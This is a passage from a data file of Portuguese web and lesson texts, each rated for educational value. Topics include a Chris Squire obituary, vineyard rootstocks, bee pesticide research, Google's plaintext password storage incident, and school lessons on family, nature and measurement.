Stand by Me , adaptada do gospel Lord stand by me. Seu último sucesso foi Supernatural Thing, gravada em 1974, mas Ben esteve sempre nas paradas, seja catapultado por trilhas sonoras de filmes ou comerciais de sucesso. Mais uma perda significativa em 2015. +Compartilhe Isso: +Clique para compartilhar no Facebook(abre em nova janela) +Clique para enviar um link por e-mail para um amigo(abre em nova janela) +Clique para compartilhar no Twitter(abre em nova janela) +Curtir isso: +Curtir Carregando... +29 de junho de 2015 0 +Homenagem: Chris Squire – Fish Out Of Water (1975) +Mais uma notícia ruim para os amantes da música, Chris Squire, baixista e cofundador da banda Yes, morreu neste domingo (28) em Phoenix, no Arizona, Estados Unidos. O músico tinha 67 anos e havia sido diagnosticado com leucemia em maio deste ano. O baixista é o único membro que participou de todos os álbuns gravados em estúdio da banda britânica de rock progressivo. Não tenho nenhuma dúvida em afirmar que Squire foi um dos mais importantes baixistas do século, com seu baixo marcante em músicas legendárias como Roundabout , Heart Of The Sunrise, “And You and I” , entre outras. +Neste domingo, o Yes divulgou uma nota oficial, lamentando a morte de Chris Squire e falando sobre sua importância no mundo da música. +“Por toda a existência do Yes, Chris foi o eixo e, de muitos modos, a cola que nos manteve unidos por todos estes anos. Por causa da maestria ao tocar o baixo, Chris influenciou baixistas ao redor do mundo, incluindo os melhores artistas da atualidade. Chris era também um compositor fantástico, tendo escrito e coescrito muitas das músicas cativantes do Yes, bem como seu álbum solo, “Fish Out of Water”. Fora do Yes, Chris foi um amoroso marido para Scotty e pai para Carmen, Chandrika, Camille, Cameron, e Xilan. Com sua natureza gentil e simpática, Chris foi um grande amigo para muitos… incluindo cada um de nós. Mas ele não era meramente nosso amigo: ele era parte de nossa família e nós compartilhamos para sempre amor e saudades d...",original,original,original,original,3,0.6 +"MUNDO ANIMADO: Corujas em ação +O longa animado prodizudo em 3D A Lenda dos Guardiões (Legend of the Guardians: The Owls of Ga´Hoole) estreia hoje, dia 24, nos cinemas americanos. Primeira animação dirigida por Zack Snyder (de Watchmen e 300), o desenho é uma adaptação da série de livros homônimos assiandos por Kathryn Lasky. Na Floresta de Tyto, vive um grupo de corujas que se junta aos guardiões de Ga'Hoole, quando a paz em seu reino é perturbada por forças do mal. Lá, sábias corujas formam um exército para lutar contra as forças do mal. +No Brasil, o filme tem estreia prevista para 8 de outubro. Confira o trailer abaixo.",original,original,original,original,2,0.4 +"Sustentabilidade Agrosustentavel – Viticultura Sustentável +Browsing ""Sustentabilidade"" +Dicas Para a Escolha do Porta-enxerto +Jan 26, 2016 // by Pedro Tereso // Sustentabilidade // No Comments +Quando Projectamos uma vinha, tudo é planeado ao milímetro… A Ripagem, os Postes e Respectivo Sistema de Condução, o Sistema de Rega, as Plantas…Tudo… Bom Tudo? Não… Quase Tudo… +Pois Temos a Sensação que a Escolha do Porta-enxerto depende em muito do que “houver disponível” no Viveirista…Assim e de forma a evitar a escassez de plantas que ocorreu durante 2014 e 2015 no mercado viveirista, há que planear, projectar e encomendar já, as plantas a plantar em 2017. +Se na escolha das castas o processo é simples, normalmente optamos pelas castas da moda, o projecto de vinha também deve necessariamente incluir a escolha do porta-enxerto mais adequado ao ecossistema vitícola, e este compreende o tipo de solo, a casta, o sistema de condução e o objectivo de produção. +O Solo e o seu pH +O pH ideal da maioria dos porta-enxertos andará entre os 5,5 e os 7, todo o solo que esteja abaixo ou acima destes valores já merece uma intervenção para alteração do pH, através da aplicação de calcário ou de enxofre consoante a situação… Mas em todo o caso, podemos optar em situações de elevada acidez, onde o alumínio está em excesso, com forte retenção de magnésio e potássio e reduzida nitrificação, sugerimos os porta-enxertos mais tolerantes de todos os disponíveis… São eles o Gravessac e o 196-17C, para além da acidez toleram solos com elevada capacidade de retenção de água, apresentam vigor aceitável e o porta-enxerto 196-17C ainda tolera a secura, sendo muito utilizado em vinhas de sequeiro e em solos de fertilidade reduzida. +Calcário Activo +Solos com reacção superior a 7, podem apresentar elevados teores de calcário activo (acima dos 17%), lembro-me dos argilo-calcários da região de Borba e aqui… Quando isto acontece… O ideal será optar por porta-enxertos resistentes ao calcário, como o 140 RU para regiões quentes e secas e o 161-49C para outras mais frescas e de solos mais férteis. +Começa a ser importante olhar para a presença de cloreto de sódio no solo e respectiva escala de resistência dos porta-enxertos, principalmente para zonas mais quentes, secas e de regadio, pois acima de valores de 1,5% só o pé franco sobrevive… +Extremamente importante e factor critico para a qualidade da produção é a escolha do porta-enxerto e a sua influência no vigor, na produtividade e no grau de precocidade na maturação da casta. +De uma forma geral, os porta-enxertos vigorosos, ambas as séries Richter (99R e 110R) e Paulsen (1103P) induzem o vigor e a produtividade (mais os Richter) e por esta razão são indicados para as regiões mais quentes e secas, contrariando assim o impacto sobre o vigor. +Uma nota… Quem não conhece a múltipla rebentação do 1103P, quando enxertado em Touriga Nacional? E a sua sensibilidade à carência de Boro?… Como compreende todos estes apontamentos influenciam… +Já porta-enxertos da série Teleki (5BB), o SO4, 157-11C e o 161-49C deveram ser reservados para condições de clima húmido e solos mais profundos e férteis, porque apresentam características de menor vigor e de adiantamento da maturação. +Muitas dúvidas surgirão ao longo do processo de escolha do porta-enxerto mas tenha sempre a noção que dependendo das características de vigor, da produtividade e grau de maturação pretendida, tenho como regra que devemos evitar enxertia de porta enxertos vigorosos em castas de ciclo longo, por promover maturações incompletas e em castas de elevada fertilidade (Alicante B. por ex). Por outro lado são recomendáveis enxertias de porta-enxertos que induzam maturações mais precoces (SO4 por ex) em castas de ciclo mais longo. +Agora… Projectar… Encomendar Plantas e Até Breve. +O nosso conceito é simples… Queremos intervir em áreas que apresentam forte impacto na sustentabilidade da sua vinha. Aumentando, se possível, a qualidade dos seus vinhos. +Tem Falta de Azoto Assimiláv...",original,original,original,original,4,0.8 +"AEPET Aepet - A esquerda, os militares, o imperialismo e o desenvolvimento +A esquerda, os militares, o imperialismo e o desenvolvimento +07 Janeiro Escrito por José Luís Fiori Lido 781 vezes +Agenda ultraliberal no Brasil não dará conta de crescer a economia e diminuir desigualdade +As grandes potências são aqueles Estados de toda parte da Terra que possuem elevada capacidade militar perante os outros, perseguem interesses continentais ou globais e defendem estes interesses por meio de uma ampla gama de instrumentos, entre eles a força e ameaças de força, sendo reconhecidos pelos Estados menos poderosos como atores principais que exercem direitos formais excepcionais nas relações internacionais. +(Charles Tilly, Coerção, Capital e Estados Europeus. São Paulo: EDUSP, 1996, p. 247) +Foi depois da Primeira Grande Guerra que o movimento socialista internacional repudiou o colonialismo europeu e transformou o “imperialismo” no inimigo número um da esquerda mundial. Assim mesmo, quando os socialistas chegaram pela primeira vez ao poder, na Europa, e foram obrigados a governar economias capitalistas, não conseguiram extrair consequências da sua própria teoria do imperialismo para o plano concreto das políticas públicas. E quando foram chamados a comandar diretamente a política econômica, como no caso de Rudolf Hilferding, entre outros, seguiram o receituário vitoriano clássico, do “sound money and free markets” – até muito depois da Segunda Guerra, quando aderiram, já nos anos 60 e 70, às ideias, propostas e políticas keynesianas. Mas na década de 80, estes mesmos partidos se converteram ao programa ortodoxo da austeridade fiscal e das reformas liberais que levaram à desmontagem parcial do Estado de Bem-estar Social. +Esse mesmo problema reapareceu de forma mais dramática quando lhes tocou aos socialistas e às forças de esquerda governarem países “periféricos” ou “subdesenvolvidos”. Também nestes casos, os teóricos do imperialismo e da dependência tiveram muita dificuldade para decidir qual seria o modelo de política econômica “ideal” para as condições específicas de um país situado no “andar de baixo” da hierarquia mundial do poder e da riqueza. +No caso da América Latina, a CEPAL formulou nos anos 50 uma teoria “estruturalista” do comércio internacional e da inflação, e propôs um programa de industrialização por “substituição de importações” que lembrava as teorias e propostas de Friederich List, economista alemão do século XIX, com a diferença de que as ideias cepalinas não tinham nenhum tipo de conotação nacionalista, ou de coloração anti-imperialista. Na prática, entretanto, dentro e fora da América Latina, os governos de esquerda dos países periféricos acabaram, quase invariavelmente, derrubados ou estrangulados financeiramente pelas grandes potências do sistema mundial, sem terem conseguido descobrir o caminho do crescimento e da igualdade, dentro de uma economia capitalista subdesenvolvida, e no contexto de um sistema internacional assimétrico, competitivo e extremamente bélico. Apesar de tudo, essas experiências deixaram um ensinamento fundamental: que os modelos e as políticas econômicas que funcionam em um país do “andar de cima” não funcionam necessariamente em países situados nos escalões inferiores do sistema, e menos ainda, quando estes países do “andar de baixo” tiveram a ousadia de querer mudar sua posição relativa dentro da hierarquia mundial do poder. +Desta perspectiva, para poder avançar neste debate, é útil distinguir pelo menos quatro tipos ou grupos de países (1), do ponto de vista de sua estratégia de desenvolvimento e de sua posição com relação à potência dominante em cada um dos grandes tabuleiros geopolíticos e econômicos do sistema mundial. No primeiro grupo, encontram-se os países que lideram ou lideraram a expansão do sistema mundial, em distintos níveis e momentos históricos, as chamadas “grandes potências”, do presente e do passado, desde a origem do sistema interestatal capitalista; no segundo grupo, estão o...",original,original,original,original,3,0.6 +"Geral Mega-Sena sorteia neste sábado prêmio acumulado de R$ 5,5 milhões +TÓPICOS: mega-sena | acertos | dezena | sorteio | acumulo | loteria | premio",original,original,original,original,1,0.2 +"Pilha do aterro, localizada na cidade de Nova Déli, está prestes a ficar mais alta do que o Taj Mahal +2 min de leitura +WhatsApp +Facebook +Twitter +Pinterest +Linkedin +Copiar Link ++ +Redação Galileu +12 Jun 2019 - 09h38 Atualizado em 12 Jun 2019 - 09h38 +WhatsApp +Facebook +Twitter +Pinterest +Linkedin +Copiar Link ++ +Montanha de lixo em Ghazipur, que fica na cidade de Nova Déli (Foto: Reprodução/YouTube) +Localizado na cidade de Nova Déli, capital da Índia, o aterro de Ghazipur continua a crescer em um ritmo surpreendente: é esperado que, dentro de um ano, esteja mais alto do que o Taj Mahal, um dos monumentos mais emblemáticos do país. Com 65 metros de altura, a pilha já foi apelidada de 'Monte Everest ' pelos habitantes da capital da Índia. +Aberto em 1984, o aterro atingiu a capacidade de 20 metros no ano de 2012, quando deveria ser fechado. No entanto, o local continuou funcionando e hoje os 21 milhões de pessoas que vivem na cidade dependem deste e de outros dois aterros — que também atingiram o limite de depósito de lixo há pelo menos uma década. +""Cerca de 2 mil toneladas de lixo são despejadas em Ghazipur todos os dias"", disse à agência AFP uma autoridade municipal de Nova Delhi, sob condição de anonimato. Isso equivale a cerca de 10 metros de crescimento a cada ano. +A Corporação Municipal de East Delhi (EDMC) tentou por várias vezes fechar o aterro, mas não conseguiu. No ano passado, as conquências se tornaram fatais e dois moradores foram mortos em um deslizamento de terra depois que uma parte da montanha desabou devido às fortes chuvas. +""As práticas de disposição de resíduos não são bem controladas, o que levou à formação de encostas íngremes e instáveis"", escreveram os autores de um relatório que verificou as causas do acidente. ""Incêndios subsuperficiais, emissões de fumaça da superfície do lixo, resíduos de coleta de lixo e recicladores de lixo do setor informal foram observados durante a visita ao local em novembro de 2017"". +Leia também: ++ Cientista transforma resíduos de plástico em gasolina ++ EUA não assinam acordo que regulamenta exportação de lixo plástico +As conclusões eram simples: o transporte de novos resíduos deveria cessar imediatamente, transferindo as operações do aterro para um novo local. +O fechamento durou apenas alguns dias: Ghazipur continua como um destino para o despejo do lixo. Como a estrutura continua crescendo, os riscos para os habitantes locais são múltiplos. Como o lixo desta pilha está a céu aberto, ela estimula a decomposição aeróbica e gera calor e metano. Isso significa que, sob as condições certas, incêndios espontâneos podem acontecer com facilidade, desestabilizando ainda mais toda a estrutura. +Além do mais, o aterro não tem absolutamente nenhum sistema de revestimento, o que significa que todo o lixo mantém contato direto com o chão, contaminando todo o lençol freático da região. +Acompanha tudo da GALILEU? Agora você pode ler as edições e matérias exclusivas no Globo Mais, o app com conteúdo para todos os momentos do seu dia. Baixe agora!",original,original,original,original,3,0.6 +"Olá, estudantes! Já pararam para pensar que a História, com “H” maiúsculo, não acontece apenas em livros e museus? Ela se manifesta todos os dias, nas nossas famílias e nas comunidades que frequentamos. Vamos embarcar em uma jornada para entender como esses dois grupos moldaram o mundo e nos moldam até hoje. + +Primeiramente, o que é uma família? A resposta não é tão simples quanto parece. Antigamente, a ideia de família era muito ligada ao sangue, aos parentes próximos. Hoje, entendemos que família é um grupo de pessoas unidas por laços de afeto, cuidado e responsabilidade mútua. Pode ser formada por pais e filhos, avós, tios, amigos próximos... O importante é o amor e o apoio que existe entre essas pessoas. Pensem nas novelas, nos filmes, nas séries que vocês assistem: quantas famílias diferentes são retratadas ali? Cada uma com sua própria história e seus próprios desafios. + +A família é o primeiro lugar onde aprendemos sobre o mundo. Nossos pais, avós ou responsáveis nos ensinam valores, costumes, tradições e crenças. Aprendemos a falar, a comer, a nos comportar em sociedade. Muitas vezes, herdamos histórias e memórias de antepassados, que nos conectam com o passado e nos ajudam a entender quem somos. Que histórias seus pais ou avós contam sobre a infância deles? Já pararam para perguntar? + +Mas a nossa história não se limita à família. Também somos influenciados pela comunidade onde vivemos. A escola, o bairro, a cidade, o país... Todos esses lugares têm uma cultura, uma história e um conjunto de regras que nos afetam. A comunidade nos oferece oportunidades de aprendizado, de lazer, de trabalho e de convívio social. Participar da vida da comunidade é fundamental para construirmos uma sociedade mais justa e igualitária. Vocês participam de alguma atividade no bairro de vocês? Existe algum projeto social na sua escola? + +Ao longo da História, a família e a comunidade passaram por muitas transformações. As famílias eram maiores antigamente? As mulheres tinham os mesmos direitos que os homens? Como as tecnologias mudaram a forma como nos comunicamos e nos relacionamos? Refletir sobre essas questões nos ajuda a compreender o presente e a construir o futuro. + +Em resumo, a família e a comunidade são duas faces da mesma moeda. Elas nos dão um senso de pertencimento, nos ensinam valores, nos oferecem oportunidades e nos ajudam a construir nossa identidade. Ao conhecermos a história da nossa família e da nossa comunidade, estamos conhecendo um pouco mais sobre nós mesmos e sobre o mundo que nos cerca. Que tal começar a investigar a história da sua família hoje mesmo? Converse com seus pais, avós, tios... Descubra de onde você veio e para onde você quer ir. Essa é uma aventura fascinante que vale a pena ser vivida!",História,Família e comunidade,anos finais (6º ao 9º ano),"O trecho possui alto valor educacional. Apresenta informações básicas relevantes sobre família e comunidade (1 ponto). Aborda elementos pertinentes à educação, alinhados aos parâmetros curriculares, de forma organizada e com escrita clara (mais 1 ponto). Introduz conceitos importantes do currículo escolar de forma coerente (mais 1 ponto). É relevante e proveitoso para o ensino fundamental, com conteúdo robusto e adequado (mais 1 ponto). O texto apresenta raciocínio detalhado e insights profundos, sendo de fácil compreensão e oferecendo uma visão completa do assunto, sem conteúdos complexos (mais 1 ponto).",5,1.0 +"Cada vez mais fica evidente a importância da cooperação nas nossas vidas e até mesmo para a nossa sobrevivência, por exemplo no combate a pandemia através do uso de máscaras e da vacinação pelas pessoas. Mas até o mesmo exemplo, mostra que a cooperação não é algo fácil de se obter. +Então o que podemos fazer para termos mais cooperação no mundo? Na vida? Nas empresas? +Essa foi uma das perguntas que me levou para as Ciências Sociais, e que me apresentou o livro “Juntos” do sociólogo Richard Sennett, que fala exatamente sobre esse tema no contexto atual. +Portanto, resolvi trazer aqui alguns pontos interessantes dessa obra que ajudam a estimular a cooperação, principalmente em momentos difíceis. +Significado de Cooperação +A cooperação pode ser definida como uma troca em que as partes se beneficiam. +Este apoio recíproco entre as pessoas está nos genes de todos os animais sociais, já que precisamos dos outros para alcançar além do que conseguiríamos sozinhos. +Por que cada vez mais é difícil cooperar? +Um dos pontos levantados por Sennett é a dinâmica de curto prazo que predomina no ambiente de trabalho atual. Ou seja, as pessoas convivem por curtos períodos, logo as relações acabam sendo superficiais e os vínculos com as organizações são baixos. +Dessa forma, as pessoas não se envolvem com problemas que não lhes dizem respeito diretamente e por consequência, diminue o nível de confiança nos outros. +Além disso, o mundo digital através dos algoritmos que dão visibilidade para poucos e a maioria só assiste, favorece que as pessoas não se sintam reconhecidas, mas inferiores, sentimento que compromete a cooperação. +Como fortalecer a cooperação em situações difíceis? +1. Não resista aos obstáculos +Quando estamos enfrentando um problema, geralmente nos preocupamos mais em nos livrar dele do que entender o que está acontecendo. +Portanto, não resista como alguém que entra em guerra, o mais eficaz é enfrentar o problema em seus próprios termos. Dê a voz e ouça o outro com atenção. +2. Dê espaço para a improvisação +Somente quando a gente deixa alguns pontos em aberto é que damos espaço para a improvisação, ou seja, para as pessoas se envolverem na resolução do problema. +O único cuidado aqui é não se perder nos caminhos que surjam e esquecer do problema a ser resolvido. +3. Diplomacia cotidiana – Gestão de conflito +Nada melhor do que aprender com os diplomatas que negociam acordos de guerra, uma ferramenta para enfrentar conflitos do cotidiano. +Já que as questões espinhosas dificilmente se dissolvem, é importante manter-se conectado com as pessoas e não desistir. +Bout de papier +Tem o objetivo de transformar o encontro entre o forte e o fraco em uma troca do tipo ganhar-ganhar. +Consiste em um papel sem assinatura que contém fórmulas como “se você se sentisse inclinado a propor…. eu estaria disposto a consultar meu governo”. No dia-a-dia, por exemplo, seria: “se você entregar a tarefa ainda hoje, eu me comprometo a liderar o pilar organizacional”. +4. A força da comunidade, do local +Tornar-se local, ou seja, envolver-se no bairro, na comunidade do prédio, na empresa, na área que se trabalha, fortacele a cooperação. +Isso porque uma vez que construímos uma história que você e o outro compartilham, surge uma identidade comum. +A falta de entendimento recíproco não nos deve impedir de nos relacionar com os outros; queremos que algo seja feito em conjunto. +Richard Sennett +Cooperar com o igual é fácil, mas se queremos atingir objetivos extraordinários precisamos envolver todo mundo. Isso significa incluir pessoas que não tem as mesmas ideias/opiniões que você. +Por isso que a cooperação e a Diversidade e Inclusão caminham juntas, e um tema que me fascina tanto. +E você, ficou com vontade de ler o livro? Compre aqui! +Compartilhe! +Conceitos, Dicas +cooperação, diversidade e inclusão, liderança, livros +Navegação de Post +Post anterior +Por que “Mulheres que correm com os lobos” faz sucesso? +Próximo post +“Calibã e a bruxa” por Silvia Federici: 14 frases reveladoras +Dei...",original,original,original,original,4,0.8 +"Exposição a pesticidas altera genes das abelhas | Think! Move! Make! Inovação | Ideias que Revolucionam +Exposição a pesticidas altera genes das abelhas +Um novo estudo descobriu que a exposição a certos pesticidas pode alterar os genes das abelhas, levando os pesquisadores a exigir regulamentações mais rígidas sobre os produtos químicos amplamente utilizados. +O estudo, publicado na revista Molecular Ecology, analisou o impacto de dois pesticidas neonicotinóides nas populações de abelha e descobriu que eles afetam os genes envolvidos em uma variedade de processos biológicos importantes. +“Os governos aprovaram o que achavam ser níveis ‘seguros’, mas os pesticidas intoxicam muitos polinizadores, reduzindo sua destreza, cognição e sobrevivência”, disse o principal autor do estudo, Yannick Wurm, da Escola de Ciências Biológicas e Químicas da Queen Mary, em um comunicado. “Este é um grande risco porque os polinizadores estão declinando em todo o mundo, mas são essenciais para manter a estabilidade do ecossistema e para a polinização de cultivos”. +Estudos anteriores analisaram o impacto dos neonicotinóides nos comportamentos das abelhas, mostrando que a exposição prejudicou sua capacidade de forragear e desenvolver colônias. Mas este estudo, conduzido por pesquisadores da Universidade Queen Mary de Londres e do Imperial College London, enfocou como esses impactos ocorrem no nível molecular. +“Nosso trabalho revela que os pesticidas neurotóxicos não apenas atacam diretamente as células do sistema nervoso, mas também afetam indiretamente a atividade normal dos genes do organismo exposto”, disse o autor do estudo, Richard Gill, do Departamento de Ciências da Vida do Imperial College London. um comunicado de imprensa. +Os pesquisadores estudaram o impacto de concentrações realistas de dois neonicotinóides em zangões: clotianidina e imidaclopride. Eles descobriram que a clotianidina teve um efeito mais forte e que as rainhas e os trabalhadores foram impactados de forma diferente. A exposição à clotianidina alterou os níveis de atividade de 55 genes do trabalhador, tornando 31 mais ativos e o restante menos ativo. +“Isso pode indicar que seus corpos estão reorientando recursos para tentar desintoxicar, o que os pesquisadores suspeitam é o que alguns dos genes estão fazendo. Para outros genes, as mudanças poderiam representar os efeitos intermediários da intoxicação que levam ao comportamento afetado”, disse. Comunicado de imprensa de Mary explicado. +Para as rainhas, 17 genes viram seus níveis de atividade alterados, com 16 tornando-se mais ativos. +Enquanto neonicotinóides foram proibidos na UE em 2018, eles ainda são amplamente utilizados em outros lugares. +Os pesquisadores pensaram que o mecanismo do estudo poderia ser usado para avaliar o impacto específico de pesticidas em outros polinizadores. +“Examinamos os efeitos de dois pesticidas em uma espécie de abelha. Mas centenas de pesticidas são autorizados, e seus efeitos provavelmente diferem substancialmente entre as 200.000 espécies de insetos polinizadores que também incluem outras abelhas, vespas, moscas, mariposas e borboletas, “primeiro autor do estudo Dr. Joe Colgan da Queen Mary University, disse. +O estudo vem cerca de um mês depois que outro estudo alertou que populações de insetos em todo o mundo estão em grave perigo, e o uso generalizado de pesticidas é uma das principais razões. +Ainda sem muitos estudos profundo a respeito, no Brasil já se consegue perceber a maior frequência do aumento de mortes de abelhas pelo país. +Mais de 6 mil colmeias foram perdidas no RS nos últimos meses, estima Associação dos Apicultores. Em época de produção, cenário é de prejuízo nas propriedades. +“Perdemos praticamente tudo. Por mais que algumas ainda estejam vivas, certamente estão contaminadas. Vamos ter que limpar essa colmeia e eliminar toda a cera e todo o mel, que certamente está contaminado também”, conta o apicultor. +“Todo ano, a gente vem investindo, sempre temos dois, três, quatro funcionári...",original,original,original,original,4,0.8 +"Já parou para pensar como os animais e as plantas, aparentemente tão diferentes, estão conectados em uma teia de relações que sustenta a vida no nosso planeta? Prepare-se para uma jornada fascinante pelo mundo da natureza, onde cada ser vivo desempenha um papel crucial! + +Imagine uma floresta exuberante. As árvores, com suas folhas verdes e copas imponentes, realizam a fotossíntese, um processo mágico que transforma a luz do sol em energia e libera oxigênio, o ar que respiramos. Mas e os animais? O que eles têm a ver com isso? Bem, muita coisa! + +Alguns animais, como as abelhas e os beija-flores, são verdadeiros polinizadores. Ao se alimentarem do néctar das flores, eles carregam o pólen de uma flor para outra, permitindo que as plantas se reproduzam e produzam frutos e sementes. Sem esses pequenos ajudantes, muitas plantas simplesmente não conseguiriam se reproduzir. Pense na importância das abelhas para a produção de maçãs, morangos e tantos outros alimentos que consumimos! + +Outros animais, como os passarinhos e os macacos, se alimentam de frutos e sementes, e ao fazerem isso, espalham as sementes por diferentes lugares. Isso ajuda as plantas a colonizar novos territórios e garante a diversidade da vegetação. É como se eles fossem jardineiros da natureza, plantando árvores e arbustos por onde passam. + +E não para por aí! Animais herbívoros, como as capivaras e os bois, se alimentam de plantas, mantendo o equilíbrio da vegetação e evitando que uma espécie domine sobre as outras. Se uma única espécie de planta crescesse sem controle, ela poderia sufocar as outras e diminuir a biodiversidade. + +Até mesmo os animais carnívoros, como as onças e os lobos, desempenham um papel importante nesse ciclo. Ao controlar a população de herbívoros, eles evitam que esses animais comam todas as plantas de uma região, garantindo que a vegetação se mantenha saudável e equilibrada. + +A relação entre animais e plantas é tão complexa e interdependente que qualquer alteração em um desses grupos pode ter consequências graves para o outro. O desmatamento, a poluição e a caça ilegal, por exemplo, podem perturbar esse equilíbrio e colocar em risco a vida de muitas espécies. + +Então, da próxima vez que você estiver em contato com a natureza, lembre-se dessa incrível dança entre animais e plantas. Cada um deles, por menor que seja, tem um papel fundamental na manutenção da vida no nosso planeta. Que tal observarmos mais atentamente o mundo ao nosso redor e aprendermos a valorizar e proteger essa parceria essencial? Quais ações podemos tomar no nosso dia a dia para contribuir para a preservação da natureza e o bem-estar de todos os seres vivos?",Ciências,Animais e plantas,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional, adequado para o ensino fundamental. Introduz o conceito de interdependência entre animais e plantas de forma clara e envolvente, exemplificando com exemplos concretos e acessíveis. O texto é coerente, bem estruturado e estimula a reflexão sobre a importância da preservação ambiental. A linguagem é acessível, tornando o conteúdo adequado para diferentes faixas etárias dentro do ensino fundamental.",5,1.0 +"Google armazenou passwords dos usuários em texto por 14 anos | CRYPTOID +Depois do Facebook e do Twitter, o Google se torna o mais recente gigante da tecnologia a armazenar acidentalmente as senhas de seus usuários desprotegidas em texto puro em seus servidores – o que significa que qualquer funcionário do Google que tenha acesso aos servidores poderia lê-las. +Em um post publicado na terça-feira, o Google revelou que sua plataforma do G Suite armazenou por engano senhas sem hash de alguns de seus usuários corporativos em servidores em texto puro por 14 anos por causa de um bug no recurso de recuperação de senha. +O G Suite, anteriormente conhecido como Google Apps, é uma coleção de ferramentas de computação em nuvem, produtividade e colaboração que foram projetadas para usuários corporativos com hospedagem de e-mail para seus negócios. +É basicamente uma versão comercial de tudo que o Google oferece. +A falha, agora corrigida, residia no mecanismo de recuperação de senha dos clientes do G Suite que permite que os administradores da empresa façam upload ou definam senhas manualmente para qualquer usuário de seu domínio sem saber suas senhas anteriores para ajudar as empresas a fazerem parte do processo. funcionários e para recuperação de contas. +Se os administradores redefinissem, o console de administração armazenaria uma cópia dessas senhas em texto simples em vez de criptografá-las, revelou o Google. +“Nós cometemos um erro ao implementar essa funcionalidade em 2005: o console de administração armazenou uma cópia da senha sem hash”, diz o Google. +No entanto, o Google também diz que as senhas de texto simples não foram armazenadas na Internet aberta, mas em seus próprios servidores criptografados e que a empresa não encontrou nenhuma evidência de que a senha de alguém seja acessada indevidamente. +“Essa prática não correspondeu aos nossos padrões. Para ser claro, essas senhas permaneceram em nossa infra-estrutura criptografada segura”, diz o Google. +“Este problema foi corrigido e não vimos nenhuma evidência de acesso indevido ou uso indevido das senhas afetadas.” +O Google também esclarece que o bug estava restrito aos usuários de seus aplicativos do G Suite para empresas e que nenhuma versão gratuita de contas do Google, como o Gmail, foi afetada. +Embora a empresa não tenha divulgado quantos usuários foram afetados por esse bug além de apenas dizer que o problema afetou “um subconjunto de nossos clientes corporativos do G Suite”, com mais de 5 milhões de clientes corporativos do G Suite, o bug pode afetar um grande número de usuários – presumivelmente, qualquer usuário que usou o G Suite nos últimos 14 anos. +Para resolver o problema, o Google removeu a capacidade dos administradores do G Suite e enviou uma lista de usuários impactados por e-mail, solicitando que eles garantissem que esses usuários redefinissem suas senhas. +O Google diz que a empresa estaria automaticamente redefinindo senhas para aqueles usuários que não mudam suas senhas. +“Com muita cautela, vamos redefinir as contas que não foram feitas por conta própria”, diz o gigante da tecnologia. +O Google é a mais recente empresa de tecnologia a armazenar acidentalmente senhas sem hash em seus servidores internos. Recentemente, o Facebook esteve no noticiário por armazenar senhas em texto puro para centenas de milhões de usuários, tanto doInstagram quanto do Facebook, em seus servidores internos. +Quase um ano atrás, o Twitter também relatou um bug de segurança similar que acidentalmente expôs senhas para seus 330 milhões de usuários em texto legível em seu sistema interno de computador.",original,original,original,original,2,0.4 +"Já parou para pensar em quantas vezes usamos medidas no nosso dia a dia? Seja para saber se o bolo vai caber na forma, se a roupa que você quer comprar é do seu tamanho, ou até para calcular quanto tempo falta para chegar em casa! Medidas e grandezas estão por toda parte, e entender como elas funcionam é essencial para nos ajudar a resolver problemas e tomar decisões importantes. Vamos embarcar juntos nessa aventura matemática? + +Primeiramente, é importante entendermos o que são grandezas. Grandezas são tudo aquilo que pode ser medido, como o comprimento de uma mesa, a massa de um pacote de arroz, o tempo que gastamos jogando videogame ou a temperatura de um dia ensolarado. Cada grandeza possui uma unidade de medida padrão, que nos ajuda a comparar e quantificar as coisas de forma precisa. Por exemplo, o metro (m) é a unidade padrão de comprimento, o quilograma (kg) é a unidade padrão de massa, o segundo (s) é a unidade padrão de tempo e o grau Celsius (°C) é uma unidade comum para medir a temperatura. + +Mas por que precisamos de unidades de medida padronizadas? Imagine só a confusão se cada pessoa usasse a própria régua para medir o comprimento de um tecido! As medidas seriam diferentes e seria impossível comprar a quantidade certa. As unidades padrão, como as definidas pelo Sistema Internacional de Unidades (SI), garantem que todos estejam falando a mesma língua quando se trata de medidas. No Brasil, o INMETRO é o órgão responsável por garantir que os instrumentos de medida estejam corretos e que as unidades do SI sejam utilizadas. Assim, quando você compra 1 kg de feijão no supermercado, pode ter certeza de que está levando a quantidade certa para casa. + +Além de entender as unidades de medida, é fundamental saber como convertê-las. Muitas vezes, precisamos transformar uma medida de metros para centímetros, ou de quilogramas para gramas. Para isso, utilizamos fatores de conversão. Por exemplo, sabemos que 1 metro equivale a 100 centímetros. Então, se quisermos saber quantos centímetros tem em 2,5 metros, basta multiplicar 2,5 por 100, obtendo 250 centímetros. Praticar essas conversões é como afiar o machado antes de cortar a lenha: quanto mais você pratica, mais fácil e rápido se torna resolver os problemas do dia a dia. + +E as áreas e volumes? Também fazem parte do mundo das medidas! A área é a medida de uma superfície, como o tamanho de um campo de futebol ou a área de um azulejo. O volume, por sua vez, é a medida do espaço ocupado por um objeto, como o volume de água em uma piscina ou o volume de ar dentro de uma bola. Calcular áreas e volumes nos ajuda a planejar construções, estimar quantidades de materiais e até mesmo a entender o espaço que nos rodeia. + +Então, da próxima vez que você usar uma régua, pesar um alimento ou verificar as horas, lembre-se: as medidas e grandezas estão presentes em cada detalhe do nosso dia a dia. Entender como elas funcionam nos torna mais conscientes, mais eficientes e mais preparados para enfrentar os desafios do mundo ao nosso redor. Que tal começar a prestar mais atenção nas medidas que você encontra por aí? Quais outras situações do seu dia a dia envolvem grandezas e medidas? Experimente medir objetos na sua casa, calcular distâncias e converter unidades. A matemática está em todo lugar, esperando para ser descoberta!",Matemática,Medidas e grandezas,anos finais (6º ao 9º ano),"O texto apresenta um excelente valor educacional. Introduz o conceito de grandezas e medidas de forma clara e contextualizada, utilizando exemplos do cotidiano. Aborda a importância das unidades de medida padronizadas e a necessidade de conversões. Além disso, explora conceitos de área e volume, incentivando a aplicação prática do conhecimento. A linguagem é acessível e adequada ao ensino fundamental, promovendo o engajamento e a compreensão dos alunos.",5,1.0 +"Olá, estudantes! Já pararam para pensar por que o Brasil é tão especial? Uma das razões é a nossa incrível diversidade! Somos um país gigante, não só em tamanho, mas também na variedade de pessoas, costumes e tradições. Essa riqueza toda vem da nossa história, da mistura de povos que formaram a nossa nação. + +Imagine que o Brasil é como um grande bolo, onde cada ingrediente representa um povo diferente. Os indígenas, que já viviam aqui antes da chegada dos europeus, trouxeram seus conhecimentos sobre a natureza, suas línguas e seus costumes. Depois, vieram os portugueses, que colonizaram o Brasil e trouxeram sua língua, religião e arquitetura. E não podemos esquecer dos africanos, que foram trazidos à 